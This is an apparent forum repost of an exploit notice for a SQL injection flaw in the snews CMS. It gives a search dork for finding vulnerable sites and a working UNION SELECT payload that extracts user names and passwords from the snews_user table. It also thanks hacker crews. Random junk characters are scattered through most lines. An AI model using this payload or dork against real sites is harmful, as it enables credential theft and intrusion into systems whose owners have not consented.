标题: CMS snews SQL Injection Vulnerability
9 t! G4 @" Z1 I% J* ?% E9 [; T作者: By onestree
" `- a( k$ n% x8 @6 p- u4 u2 i下载地址 : http://snewscms.com/# ^1 _) ` I4 l7 J3 _" ^
测试平台 : ubuntu 12.10 / win 7
% p5 K9 }2 }* D( P3 _- i6 L! p关键词: inurl:"tanyakan pada rumput yang bergoyang"0 v$ n2 o4 F+ {0 \4 p$ ?& l1 D' v
( V' H; A) l2 m" O1 M4 T" K) y8 F * ^% C1 N! c) R4 R, a' {' r) `
*************************************************************7 @ Z) N u- q5 ]$ y3 N
2 |* y' J& l* f$ j1 J
SQL poc:
3 X0 |/ {* w0 e$ F6 S7 q
( u; A, B& v- G7 C3 `: x5 T1 Nhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL] Q% Y. |+ F9 O! Q$ T+ v: F3 y
& t% h" C0 q2 c6 @3 n3 A示例2 G8 h7 C; p3 B
, k. \3 J- E4 Ehttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
& F; h5 b4 L9 u; e; K+ H
$ t8 _. n) O- n 2 T6 E! z7 I9 c; i* H$ _
致谢:
8 Y2 ?9 M0 ^+ t8 P4 ^: C2 c
, }7 T% n( c( t- M$ n Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell: t6 a3 V" e+ I, q8 O
) p& w, f: _) N; P
indonesiancoder - moeslimh4x0r - go-coder8 h/ X _$ W' w. k4 v8 b/ }
2 |8 {' ^; g* P# v4 |8 [- X: J
spesial my hunny :*
) M$ _" `- ?( E g |
发表于 2013-1-23 08:55:06
收藏
支持
反对